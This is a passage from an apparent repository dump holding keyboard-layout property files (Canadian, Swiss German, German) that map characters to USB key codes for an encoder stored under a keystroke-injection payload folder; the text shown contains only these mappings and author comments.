MODIFIERKEY_SHIFT\nASCII_43 = KEY_C, MODIFIERKEY_SHIFT\nASCII_44 = KEY_D, MODIFIERKEY_SHIFT\nASCII_45 = KEY_E, MODIFIERKEY_SHIFT\nASCII_46 = KEY_F, MODIFIERKEY_SHIFT\nASCII_47 = KEY_G, MODIFIERKEY_SHIFT\nASCII_48 = KEY_H, MODIFIERKEY_SHIFT\nASCII_49 = KEY_I, MODIFIERKEY_SHIFT\nASCII_4A = KEY_J, MODIFIERKEY_SHIFT\nASCII_4B = KEY_K, MODIFIERKEY_SHIFT\nASCII_4C = KEY_L, MODIFIERKEY_SHIFT\nASCII_4D = KEY_M, MODIFIERKEY_SHIFT\nASCII_4E = KEY_N, MODIFIERKEY_SHIFT\nASCII_4F = KEY_O, MODIFIERKEY_SHIFT\nASCII_50 = KEY_P, MODIFIERKEY_SHIFT\nASCII_52 = KEY_R, MODIFIERKEY_SHIFT\nASCII_53 = KEY_S, MODIFIERKEY_SHIFT\nASCII_54 = KEY_T, MODIFIERKEY_SHIFT\nASCII_55 = KEY_U, MODIFIERKEY_SHIFT\nASCII_56 = KEY_V, MODIFIERKEY_SHIFT\nASCII_5A = KEY_Z, MODIFIERKEY_SHIFT\nASCII_57 = KEY_W, MODIFIERKEY_SHIFT\nASCII_58 = KEY_X, MODIFIERKEY_SHIFT\nASCII_59 = KEY_Y, MODIFIERKEY_SHIFT\nASCII_51 = KEY_Q, MODIFIERKEY_SHIFT\n//Ç\n\nISO_8859_1_C7 = KEY_SEMICOLON, MODIFIERKEY_SHIFT\n// Simbolos // ' ! @ # $ % & * ( ) _ + \" - = / ? ° [ ] { } \\ , . ; < > :\nASCII_27 = KEY_TILDE\nASCII_21 = KEY_1, MODIFIERKEY_SHIFT\nASCII_40 = KEY_2, MODIFIERKEY_SHIFT\nASCII_23 = KEY_3, MODIFIERKEY_SHIFT\nASCII_24 = KEY_4, MODIFIERKEY_SHIFT\nASCII_25 = KEY_5, MODIFIERKEY_SHIFT\nASCII_26 = KEY_7, MODIFIERKEY_SHIFT\nASCII_2A = KEY_8, MODIFIERKEY_SHIFT\nASCII_28 = KEY_9, MODIFIERKEY_SHIFT\nASCII_29 = KEY_0, MODIFIERKEY_SHIFT\nASCII_5F = KEY_MINUS, MODIFIERKEY_SHIFT\nASCII_2B = KEY_EQUAL, MODIFIERKEY_SHIFT\nASCII_22 = KEY_TILDE, MODIFIERKEY_SHIFT\nASCII_2D = KEY_MINUS\nASCII_3D = KEY_EQUAL\nASCII_2F = KEY_Q, MODIFIERKEY_RIGHT_ALT\nASCII_3F = KEY_W, MODIFIERKEY_RIGHT_ALT\nISO_8859_1_B0 = KEY_E, MODIFIERKEY_RIGHT_ALT\nASCII_5B = KEY_RIGHT_BRACE\nASCII_5D = KEY_BACKSLASH\nASCII_7B = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT\nASCII_7D = KEY_BACKSLASH, MODIFIERKEY_SHIFT\nASCII_5C = KEY_NON_US_100\nASCII_2C = KEY_COMMA\nASCII_2E = KEY_PERIOD\nASCII_3B = KEY_SLASH\nASCII_3C = KEY_COMMA, MODIFIERKEY_SHIFT\nASCII_3E = KEY_PERIOD, MODIFIERKEY_SHIFT\nASCII_3A = KEY_SLASH, MODIFIERKEY_SHIFT\n\n\n\n\n\n\n// Other symbols // input: § ´ ~ | ^ ` output: § ´~| ^` (notice some space missing!)\n\n//ACENTOS (SPECIAL SYMBOLS)\nISO_8859_1_A7 = KEY_EQUAL, MODIFIERKEY_RIGHT_ALT\nISO_8859_1_B4 = KEY_LEFT_BRACE\nASCII_7E = KEY_QUOTE\nASCII_7C = KEY_NON_US_100, MODIFIERKEY_SHIFT\nASCII_5E = KEY_QUOTE, MODIFIERKEY_SHIFT\nASCII_60 = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT\n\n\n// NUMEROS (NUMBERS)\n\t\t\t\n// 48 0\nASCII_30 = KEY_0\t\t\t\t\n// 49 1\nASCII_31 = KEY_1\t\t\t\t\n// 50 2\nASCII_32 = KEY_2\t\t\t\t\n// 51 3\nASCII_33 = KEY_3\t\t\t\t\n// 52 4\nASCII_34 = KEY_4\t\t\t\t\n// 53 5\nASCII_35 = KEY_5\t\t\t\t\n// 54 6\nASCII_36 = KEY_6\t\t\t\t\n// 55 7\nASCII_37 = KEY_7\t\t\t\t\n// 55 8\nASCII_38 = KEY_8\t\t\t\t\n// 57 9\nASCII_39 = KEY_9"
  },
  {
    "path": "payloads/library/remote_access/duckNet/Encoder/resources/ca.properties",
    "content": "// Candian Keyboard Layout\r\n// CA layout by D4rk_F1r3 2013/12/2\r\n\r\n// 32 \r\nASCII_20 = KEY_SPACE\t\t\t\t\t\r\n // 33 !\r\nASCII_21 = KEY_1, MODIFIERKEY_SHIFT\t\t\t\t\t\r\n// 34 \"\r\nASCII_22 = KEY_2, MODIFIERKEY_SHIFT\t\t\t\t\t\r\n// 35 #\r\nASCII_23 = KEY_TILDE\t\t\t\r\n// 36 $\r\nASCII_24 = KEY_4, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 37 %\r\nASCII_25 = KEY_5, MODIFIERKEY_SHIFT\t\t\t\r\n// 38 &\r\nASCII_26 = KEY_7, MODIFIERKEY_SHIFT\t\t\t\t\t\r\n// 39 '  \r\nASCII_27 = KEY_COMMA, MODIFIERKEY_SHIFT\t\r\n// 40 ( \r\nASCII_28 = KEY_9, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 41 )\r\nASCII_29 = KEY_0, MODIFIERKEY_SHIFT\t\t\t\r\n// 42 *\r\nASCII_2A = KEY_8, MODIFIERKEY_SHIFT\t\t\t\r\n// 43 +\r\nASCII_2B = KEY_EQUAL, MODIFIERKEY_SHIFT\t\t\t\r\n// 44 ,\r\nASCII_2C = KEY_COMMA\t\t\t\r\n// 45 -\r\nASCII_2D = KEY_MINUS\t\t\t\t\r\n// 46 .\r\nASCII_2E = KEY_PERIOD\t\t\t\r\n// 47 /\r\nASCII_2F = KEY_3, MODIFIERKEY_SHIFT\t\t\t\r\n// 48 0\r\nASCII_30 = KEY_0\t\t\t\t\r\n// 49 1\r\nASCII_31 = KEY_1\t\t\t\t\r\n// 50 2\r\nASCII_32 = KEY_2\t\t\t\t\r\n// 51 3\r\nASCII_33 = KEY_3\t\t\t\t\r\n// 52 4\r\nASCII_34 = KEY_4\t\t\t\t\r\n// 53 5\r\nASCII_35 = KEY_5\t\t\t\t\r\n// 54 6\r\nASCII_36 = KEY_6\t\t\t\t\r\n// 55 7\r\nASCII_37 = KEY_7\t\t\t\t\r\n// 55 8\r\nASCII_38 = KEY_8\t\t\t\t\r\n// 57 9\r\nASCII_39 = KEY_9\t\t\t\t\r\n// 58 :\r\nASCII_3A = KEY_SEMICOLON, MODIFIERKEY_SHIFT\t\t\t\t\t\r\n// 59 ;\r\nASCII_3B = KEY_SEMICOLON\t\t\r\n// 60 <\r\nASCII_3C = KEY_BACKSLASH\t\t\t\r\n// 61 =\r\nASCII_3D = KEY_EQUAL\t\t\t\t\t\r\n// 62 >\r\nASCII_3E = KEY_BACKSLASH, MODIFIERKEY_SHIFT\t\t\t\r\n// 63 ?\r\nASCII_3F = KEY_6, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 64 @\r\nASCII_40 = KEY_2, MODIFIERKEY_RIGHT_ALT\t\t\t\r\n// 65 A\r\nASCII_41 = KEY_A, MODIFIERKEY_SHIFT\r\n// 66 B\r\nASCII_42 = KEY_B, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 67 C\r\nASCII_43 = KEY_C, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 68 D\r\nASCII_44 = KEY_D, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 69 E\r\nASCII_45 = KEY_E, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 70 F\r\nASCII_46 = KEY_F, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 71 G\r\nASCII_47 = KEY_G, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 72 H\r\nASCII_48 = KEY_H, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 73 I\r\nASCII_49 = KEY_I, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 74 J\r\nASCII_4A = KEY_J, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 75 K\r\nASCII_4B = KEY_K, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 76 L\r\nASCII_4C = KEY_L, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 77 M\r\nASCII_4D = KEY_M, MODIFIERKEY_SHIFT\t\t\t\r\n// 78 N\r\nASCII_4E = KEY_N, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 79 O\r\nASCII_4F = KEY_O, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 80 P\r\nASCII_50 = KEY_P, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 81 Q\r\nASCII_51 = KEY_Q, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 82 R\r\nASCII_52 = KEY_R, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 83 S\r\nASCII_53 = KEY_S, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 84 T\r\nASCII_54 = KEY_T, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 85 U\r\nASCII_55 = KEY_U, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 86 V\r\nASCII_56 = KEY_V, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 87 W\r\nASCII_57 = KEY_W, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 88 X\r\nASCII_58 = KEY_X, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 89 Y\r\nASCII_59 = KEY_Y, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 90 Z\r\nASCII_5A = KEY_Z, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 91 [\r\nASCII_5B = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT\t\t\t\t\r\n// 92 \r\nASCII_5C = KEY_TILDE, MODIFIERKEY_RIGHT_ALT\t\t\r\n// 93 ]\r\nASCII_5D = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT\t\t\r\n// 94 ^\r\nASCII_5E = KEY_LEFT_BRACE\t\t\t\t\r\n// 95 _\r\nASCII_5F = KEY_MINUS, MODIFIERKEY_SHIFT\t\t\t\t\t\r\n// 96 `\r\nASCII_60 = KEY_QUOTE\r\n// 97 a\r\nASCII_61 = KEY_A\r\n// 98 b\r\nASCII_62 = KEY_B\t\t\t\t\t\r\n// 99 c\r\nASCII_63 = KEY_C\r\n// 100 d\r\nASCII_64 = KEY_D\t\t\t\t\t\r\n// 101 e\r\nASCII_65 = KEY_E\t\t\t\t\t\r\n// 102 f\r\nASCII_66 = KEY_F\t\t\t\t\t\r\n// 103 g\r\nASCII_67 = KEY_G\t\t\t\t\t\r\n// 104 h\r\nASCII_68 = KEY_H\t\t\t\t\t\r\n// 105 i\r\nASCII_69 = KEY_I\t\t\t\t\t\r\n// 106 j\r\nASCII_6A = KEY_J\t\t\t\t\t\r\n// 107 k\r\nASCII_6B = KEY_K\t\t\t\t\t\r\n// 108 l\r\nASCII_6C = KEY_L\t\t\t\t\t\r\n// 109 m\r\nASCII_6D = KEY_M\t\t\t\t\r\n// 110 n\r\nASCII_6E = KEY_N\t\t\t\t\t\r\n// 111 o\r\nASCII_6F = KEY_O\t\t\t\t\t\r\n// 112 p\r\nASCII_70 = KEY_P\t\t\t\t\t\r\n// 113 q\r\nASCII_71 = KEY_Q\t\t\t\t\t\r\n// 114 r\r\nASCII_72 = KEY_R\t\t\t\t\t\r\n// 115 s\r\nASCII_73 = KEY_S\t\t\t\t\t\r\n// 116 t\r\nASCII_74 = KEY_T\t\t\t\t\t\r\n// 117 u\r\nASCII_75 = KEY_U\t\t\t\t\t\r\n// 118 v\r\nASCII_76 = KEY_V\t\t\t\t\t\r\n// 119 w\r\nASCII_77 = KEY_W\t\t\t\t\t\r\n// 120 x\r\nASCII_78 = KEY_X\t\t\t\t\t\r\n// 121 y\r\nASCII_79 = KEY_Y\t\t\t\t\t\r\n// 122 z\r\nASCII_7A = KEY_Z\t\t\t\t\t\r\n// 123 {\r\nASCII_7B = KEY_QUOTE, MODIFIERKEY_RIGHT_ALT\t\t\t\t\r\n// 124 |\r\nASCII_7C = KEY_TILDE, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 125 }\r\nASCII_7D = KEY_BACKSLASH, MODIFIERKEY_RIGHT_ALT\t\r\n// 126 ~\r\nASCII_7E = KEY_SEMICOLON, MODIFIERKEY_RIGHT_ALT\t\t\r\n// 127\r\nASCII_7F = KEY_BACKSPACE\r\n// 128 ¢     Pound Sign\r\nISO_8859_1_A2\tKEY_4, MODIFIERKEY_RIGHT_ALT\r\n// 129 £     Pound Sign\r\nISO_8859_1_A3\tKEY_3, MODIFIERKEY_RIGHT_ALT\r\n// 130 ¤\r\nISO_8859_1_A4\tKEY_5, MODIFIERKEY_RIGHT_ALT\r\n// 131 ¦     SECTION SIGN\r\nISO_8859_1_A6\tKEY_7, MODIFIERKEY_RIGHT_ALT\r\n// 132 §     SECTION SIGN\r\nISO_8859_1_A7\tKEY_O, MODIFIERKEY_RIGHT_ALT\r\n// 133 ¨\r\nISO_8859_1_A8\tKEY_RIGHT_BRACE, MODIFIERKEY_SHIFT\r\n// 134 ¬\r\nISO_8859_1_AB\tACUTE_ACCENT_BITS + KEY_SPACE, MODIFIERKEY_SHIFT\r\n// 135 ¬\r\nISO_8859_1_AC\tKEY_6, MODIFIERKEY_RIGHT_ALT\r\n// 136 ­\r\nISO_8859_1_AD\tKEY_PERIOD, MODIFIERKEY_RIGHT_ALT\r\n// 137 ¯\r\nISO_8859_1_AF\tKEY_TILDE, MODIFIERKEY_RIGHT_ALT\r\n// 138 °\r\nISO_8859_1_B0\tACUTE_ACCENT_BITS + KEY_SPACE, MODIFIERKEY_RIGHT_ALT\r\n// 139 ´     MICRO SIGN\r\nISO_8859_1_BB\tACUTE_ACCENT_BITS + KEY_SPACE\r\n// 140 ´     MICRO SIGN\r\nISO_8859_1_B4\tKEY_SLASH, MODIFIERKEY_RIGHT_ALT\r\n// 141 µ     MICRO SIGN\r\nISO_8859_1_B5\tKEY_M, MODIFIERKEY_RIGHT_ALT\r\n// 142 ¶     MICRO SIGN\r\nISO_8859_1_B6\tKEY_P, MODIFIERKEY_RIGHT_ALT\r\n// 143 ¸     MICRO SIGN\r\nISO_8859_1_B8\tKEY_RIGHT_BRACE\r\n// 145 ±     MATH SIGN\r\nISO_8859_1_B1\tKEY_1, MODIFIERKEY_RIGHT_ALT\r\n// 146 ²     MATH SIGN\r\nISO_8859_1_B2\tKEY_8, MODIFIERKEY_RIGHT_ALT\r\n// 147 ³     MATH SIGN\r\nISO_8859_1_B3\tKEY_9, MODIFIERKEY_RIGHT_ALT\r\n// 148 ¼     MATH SIGN\r\nISO_8859_1_BC\tKEY_0, MODIFIERKEY_RIGHT_ALT\r\n// 149 ½     MATH SIGN\r\nISO_8859_1_BD\tKEY_MINUS, MODIFIERKEY_RIGHT_ALT\r\n// 150 ¾     MATH SIGN\r\nISO_8859_1_BE\tKEY_EQUAL, MODIFIERKEY_RIGHT_ALT\r\n// 151 É     e ACUTE\r\nISO_8859_1_C9\tKEY_SLASH, MODIFIERKEY_SHIFT\r\n// 152 é     e ACUTE\r\nISO_8859_1_E9\tKEY_SLASH"
  },
  {
    "path": "payloads/library/remote_access/duckNet/Encoder/resources/ch.properties",
    "content": "//LAYOUT_SWISS_GERMAN 0.9b ¦ Some symbols still missing (Euro, Pound...)\n//Author - Powerslave ¦ Date - 07/02/13 ¦ Website - www.powerslave.ch\n//No Euro Key (not yet), and most of the french crap letters don't work aswell\n//but it works for all standard ASCII Letters, all you need for fun.\nKEY_NON_US_100 = 100\n \nASCII_20 = KEY_SPACE\n// 32  \nASCII_21 = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT\n// 33 !\nASCII_22 = KEY_2, MODIFIERKEY_SHIFT\n// 34 \"\nASCII_23 = KEY_3, MODIFIERKEY_RIGHT_ALT\n// 35 # \nASCII_24 = KEY_BACKSLASH\n// 36 $\nASCII_25 = KEY_5, MODIFIERKEY_SHIFT\n// 37 %\nASCII_26 = KEY_6, MODIFIERKEY_SHIFT\n// 38 &\nASCII_27 = KEY_MINUS\n// 39 ' \nASCII_28 = KEY_8, MODIFIERKEY_SHIFT\n// 40 ( \nASCII_29 = KEY_9, MODIFIERKEY_SHIFT\n// 41 )\nASCII_2A = KEY_3, MODIFIERKEY_SHIFT\n// 42 *\nASCII_2B = KEY_1, MODIFIERKEY_SHIFT\n// 43 +\nASCII_2C = KEY_COMMA\n// 44 ,\nASCII_2D = KEY_SLASH\n// 45 -\nASCII_2E = KEY_PERIOD\n// 46 .\nASCII_2F = KEY_7, MODIFIERKEY_SHIFT\n// 47 /\nASCII_30 = KEY_0\n// 48 0\nASCII_31 = KEY_1\n// 49 1\nASCII_32 = KEY_2\n// 50 2\nASCII_33 = KEY_3\n// 51 3\nASCII_34 = KEY_4\n// 52 4\nASCII_35 = KEY_5\n// 53 5\nASCII_36 = KEY_6\n// 54 6\nASCII_37 = KEY_7\n// 55 7\nASCII_38 = KEY_8\n// 55 8\nASCII_39 = KEY_9\n// 57 9\nASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT\n// 58 :\nASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT\n// 59 ;\nASCII_3C = KEY_NON_US_100\n// 60 <\nASCII_3D = KEY_0, MODIFIERKEY_SHIFT\n// 61 =\nASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT\n// 62 >\nASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT\n// 63 ?\nASCII_40 = KEY_2, MODIFIERKEY_RIGHT_ALT\n// 64 @\nASCII_41 = KEY_A, MODIFIERKEY_SHIFT\n// 65 A\nASCII_42 = KEY_B, MODIFIERKEY_SHIFT\n// 66 B\nASCII_43 = KEY_C, MODIFIERKEY_SHIFT\n// 67 C\nASCII_44 = KEY_D, MODIFIERKEY_SHIFT\n// 68 D\nASCII_45 = KEY_E, MODIFIERKEY_SHIFT\n// 69 E\nASCII_46 = KEY_F, MODIFIERKEY_SHIFT\n// 70 F\nASCII_47 = KEY_G, MODIFIERKEY_SHIFT\n// 71 G\nASCII_48 = KEY_H, MODIFIERKEY_SHIFT\n// 72 H\nASCII_49 = KEY_I, MODIFIERKEY_SHIFT\n// 73 I\nASCII_4A = KEY_J, MODIFIERKEY_SHIFT\n// 74 J\nASCII_4B = KEY_K, MODIFIERKEY_SHIFT\n// 75 K\nASCII_4C = KEY_L, MODIFIERKEY_SHIFT\n// 76 L\nASCII_4D = KEY_M, MODIFIERKEY_SHIFT\n// 77 M\nASCII_4E = KEY_N, MODIFIERKEY_SHIFT\n// 78 N\nASCII_4F = KEY_O, MODIFIERKEY_SHIFT\n// 79 O\nASCII_50 = KEY_P, MODIFIERKEY_SHIFT\n// 80 P\nASCII_51 = KEY_Q, MODIFIERKEY_SHIFT\n// 81 Q\nASCII_52 = KEY_R, MODIFIERKEY_SHIFT\n// 82 R\nASCII_53 = KEY_S, MODIFIERKEY_SHIFT\n// 83 S\nASCII_54 = KEY_T, MODIFIERKEY_SHIFT\n// 84 T\nASCII_55 = KEY_U, MODIFIERKEY_SHIFT\n// 85 U\nASCII_56 = KEY_V, MODIFIERKEY_SHIFT\n// 86 V\nASCII_57 = KEY_W, MODIFIERKEY_SHIFT\n// 87 W\nASCII_58 = KEY_X, MODIFIERKEY_SHIFT\n// 88 X\nASCII_59 = KEY_Z, MODIFIERKEY_SHIFT\n// 89 Y\nASCII_5A = KEY_Y, MODIFIERKEY_SHIFT\n// 90 Z\nASCII_5B = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT\n// 91 [\nASCII_5C = KEY_NON_US_100, MODIFIERKEY_RIGHT_ALT\n// 92 \nASCII_5D = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT\n// 93 ]\nASCII_5E = KEY_EQUAL\n// 94 ^\nASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT\n// 95 _\nASCII_60 = KEY_EQUAL, MODIFIERKEY_SHIFT\n//GRAVE_ACCENT_BITS + KEY_SPACE \n// 96 `\nASCII_61 = KEY_A\n// 97 a\nASCII_62 = KEY_B\n// 98 b\nASCII_63 = KEY_C\n// 99 c\nASCII_64 = KEY_D\n// 100 d\nASCII_65 = KEY_E\n// 101 e\nASCII_66 = KEY_F\n// 102 f\nASCII_67 = KEY_G\n// 103 g\nASCII_68 = KEY_H\n// 104 h\nASCII_69 = KEY_I\n// 105 i\nASCII_6A = KEY_J\n// 106 j\nASCII_6B = KEY_K\n// 107 k\nASCII_6C = KEY_L\n// 108 l\nASCII_6D = KEY_M\n// 109 m\nASCII_6E = KEY_N\n// 110 n\nASCII_6F = KEY_O\n// 111 o\nASCII_70 = KEY_P\n// 112 p\nASCII_71 = KEY_Q\n// 113 q\nASCII_72 = KEY_R\n// 114 r\nASCII_73 = KEY_S\n// 115 s\nASCII_74 = KEY_T\n// 116 t\nASCII_75 = KEY_U\n// 117 u\nASCII_76 = KEY_V\n// 118 v\nASCII_77 = KEY_W\n// 119 w\nASCII_78 = KEY_X\n// 120 x\nASCII_79 = KEY_Z\n// 121 y\nASCII_7A = KEY_Y\n// 122 z\nASCII_7B = KEY_TILDE, MODIFIERKEY_RIGHT_ALT\n// 123 {\nASCII_7C = KEY_7, MODIFIERKEY_RIGHT_ALT\n// 124 |\nASCII_7D = KEY_BACKSLASH, MODIFIERKEY_RIGHT_ALT\n// 125 }\nASCII_7E = KEY_EQUAL, MODIFIERKEY_RIGHT_ALT\n// 126 ~\nASCII_7F = KEY_BACKSPACE\n// 127\nISO_8859_1_A0 = KEY_SPACE\n// 160       Nonbreakng Space\nISO_8859_1_A4 = KEY_11, MODIFIERKEY_RIGHT_ALT\n// 164 ¤     Currency Sign\nISO_8859_1_A7 = KEY_TILDE\n// 167 §     SECTION SIGN\nISO_8859_1_B0 = KEY_TILDE, MODIFIERKEY_SHIFT\n// 176 °     DEGREE SIGN\nISO_8859_1_B2 = KEY_11, MODIFIERKEY_RIGHT_ALT\n// 178 ²     SUPERSCRIPT TWO\nISO_8859_1_B3 = KEY_11, MODIFIERKEY_RIGHT_ALT\n// 179 ³     SUPERSCRIPT THREE\n//ISO_8859_1_C0 = GRAVE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT \n// 192 À     A GRAVE\n//ISO_8859_1_C1 = ACUTE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT \n// 193 Á     A ACUTE\n//ISO_8859_1_C2 = CIRCUMFLEX_BITS = + KEY_A, MODIFIERKEY_SHIFT \n// 194 Â     A CIRCUMFLEX\nISO_8859_1_C4 = KEY_QUOTE, MODIFIERKEY_SHIFT\n// 196 Ä     A DIAERESIS\n//ISO_8859_1_C8 = GRAVE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT \n// 200 È     E GRAVE\n//ISO_8859_1_C9 = ACUTE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT \n// 201 É     E ACUTE\n//ISO_8859_1_CA = CIRCUMFLEX_BITS + KEY_E, MODIFIERKEY_SHIFT \n// 202 Ê     E CIRCUMFLEX\n//ISO_8859_1_CC = GRAVE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT \n// 204 Ì     I GRAVE\n//ISO_8859_1_CD = ACUTE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT \n// 205 Í     I ACUTE\n//ISO_8859_1_CE = CIRCUMFLEX_BITS + KEY_I, MODIFIERKEY_SHIFT \n// 206 Î     I CIRCUMFLEX\n//ISO_8859_1_D2 = GRAVE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT \n// 210 Ò     O GRAVE\n//ISO_8859_1_D3 = ACUTE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT \n// 211 Ó     O ACUTE\n//ISO_8859_1_D4 = CIRCUMFLEX_BITS + KEY_O, MODIFIERKEY_SHIFT \n// 212 Ô     O CIRCUMFLEX\nISO_8859_1_D6 = KEY_SEMICOLON, MODIFIERKEY_SHIFT\n// 214 Ö     O DIAERESIS\n//ISO_8859_1_D9 = GRAVE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT\n// 217 Ù     U GRAVE\n//ISO_8859_1_DA = ACUTE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT \n// 218 Ú     U ACUTE\n//ISO_8859_1_DB = CIRCUMFLEX_BITS + KEY_U, MODIFIERKEY_SHIFT \n// 219 Û     U CIRCUMFLEX\nISO_8859_1_DC = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT\n// 220 Ü     U DIAERESIS\n//ISO_8859_1_DD = ACUTE_ACCENT_BITS + KEY_Z, MODIFIERKEY_SHIFT \n// 221 Ý     Y ACUTE\nISO_8859_1_DF = KEY_MINUS\n// 223 ß     SHARP S\n//ISO_8859_1_E0 = GRAVE_ACCENT_BITS + KEY_A\n// 224 à     a GRAVE\n//ISO_8859_1_E1 = ACUTE_ACCENT_BITS + KEY_A\n// 225 á     a ACUTE\n//ISO_8859_1_E2 = CIRCUMFLEX_BITS + KEY_A\n// 226 â     a CIRCUMFLEX\nISO_8859_1_E4 = KEY_QUOTE\n// 228 ä     a DIAERESIS\n//ISO_8859_1_E8 = GRAVE_ACCENT_BITS + KEY_E\n// 232 è     e GRAVE\n//ISO_8859_1_E9 = ACUTE_ACCENT_BITS + KEY_E\n// 233 é     e ACUTE\n//ISO_8859_1_EA = CIRCUMFLEX_BITS + KEY_E\n// 234 ê     e CIRCUMFLEX\n//ISO_8859_1_EC = GRAVE_ACCENT_BITS + KEY_I\n// 236 ì     i GRAVE\n//ISO_8859_1_ED = ACUTE_ACCENT_BITS + KEY_I\n// 237 í     i ACUTE\n//ISO_8859_1_EE = CIRCUMFLEX_BITS + KEY_I\n// 238 î     i CIRCUMFLEX\n//ISO_8859_1_F2 = GRAVE_ACCENT_BITS + KEY_O\n// 242 ò     o GRAVE\n//ISO_8859_1_F3 = ACUTE_ACCENT_BITS + KEY_O\n// 243 ó     o ACUTE\n//ISO_8859_1_F4 = CIRCUMFLEX_BITS + KEY_O\n// 244 ô     o CIRCUMFLEX\nISO_8859_1_F6 = KEY_SEMICOLON\n// 246 ö     o DIAERESIS\n//ISO_8859_1_F9 = GRAVE_ACCENT_BITS + KEY_U\n// 249 ù     u GRAVE\n//ISO_8859_1_FA = ACUTE_ACCENT_BITS + KEY_U\n// 250 ú     u ACUTE\n//ISO_8859_1_FB = CIRCUMFLEX_BITS + KEY_U\n// 251 û     u CIRCUMFLEX\nISO_8859_1_FC = KEY_LEFT_BRACE\n// 252 ü     u DIAERESIS\n//ISO_8859_1_FD = ACUTE_ACCENT_BITS + KEY_Z\n// 253 ý     y ACUTE\nUNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT\n//     €     Euro Sign"
  },
  {
    "path": "payloads/library/remote_access/duckNet/Encoder/resources/de.properties",
    "content": "//LAYOUT_GERMAN\n//Credits go to webdirector for patch (02/17/2013)\nKEY_NON_US_100 = 100\n\nASCII_20 = KEY_SPACE\n// 32  \nASCII_21 = KEY_1, MODIFIERKEY_SHIFT\n// 33 !\nASCII_22 = KEY_2, MODIFIERKEY_SHIFT\n// 34 \"\nASCII_23 = KEY_BACKSLASH\n// 35 # ??\nASCII_24 = KEY_4, MODIFIERKEY_SHIFT\n// 36 $\nASCII_25 = KEY_5, MODIFIERKEY_SHIFT\n// 37 %\nASCII_26 = KEY_6, MODIFIERKEY_SHIFT\n// 38 &\nASCII_27 = KEY_BACKSLASH, MODIFIERKEY_SHIFT\n// 39 ' \nASCII_28 = KEY_8, MODIFIERKEY_SHIFT\n// 40 ( \nASCII_29 = KEY_9, MODIFIERKEY_SHIFT\n// 41 )\nASCII_2A = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT\n// 42 *\nASCII_2B = KEY_RIGHT_BRACE\n// 43 +\nASCII_2C = KEY_COMMA\n// 44 ,\nASCII_2D = KEY_SLASH\n// 45 -\nASCII_2E = KEY_PERIOD\n// 46 .\nASCII_2F = KEY_7, MODIFIERKEY_SHIFT\n// 47 /\nASCII_30 = KEY_0\n// 48 0\nASCII_31 = KEY_1\n// 49 1\nASCII_32 = KEY_2\n// 50 2\nASCII_33 = KEY_3\n// 51 3\nASCII_34 = KEY_4\n// 52 4\nASCII_35 = KEY_5\n// 53 5\nASCII_36 = KEY_6\n// 54 6\nASCII_37 = KEY_7\n// 55 7\nASCII_38 = KEY_8\n// 55 8\nASCII_39 = KEY_9\n// 57 9\nASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT\n// 58 :\nASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT\n// 59 ;\nASCII_3C = KEY_NON_US_100\n// 60 <\nASCII_3D = KEY_0, MODIFIERKEY_SHIFT\n// 61 =\nASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT\n// 62 >\nASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT\n// 63 ?\nASCII_40 = KEY_Q, MODIFIERKEY_RIGHT_ALT\n// 64 @\nASCII_41 = KEY_A, MODIFIERKEY_SHIFT\n// 65 A\nASCII_42 = KEY_B, MODIFIERKEY_SHIFT\n// 66 B\nASCII_43 = KEY_C, MODIFIERKEY_SHIFT\n// 67 C\nASCII_44 = KEY_D, MODIFIERKEY_SHIFT\n// 68 D\nASCII_45 = KEY_E, MODIFIERKEY_SHIFT\n// 69 E\nASCII_46 = KEY_F, 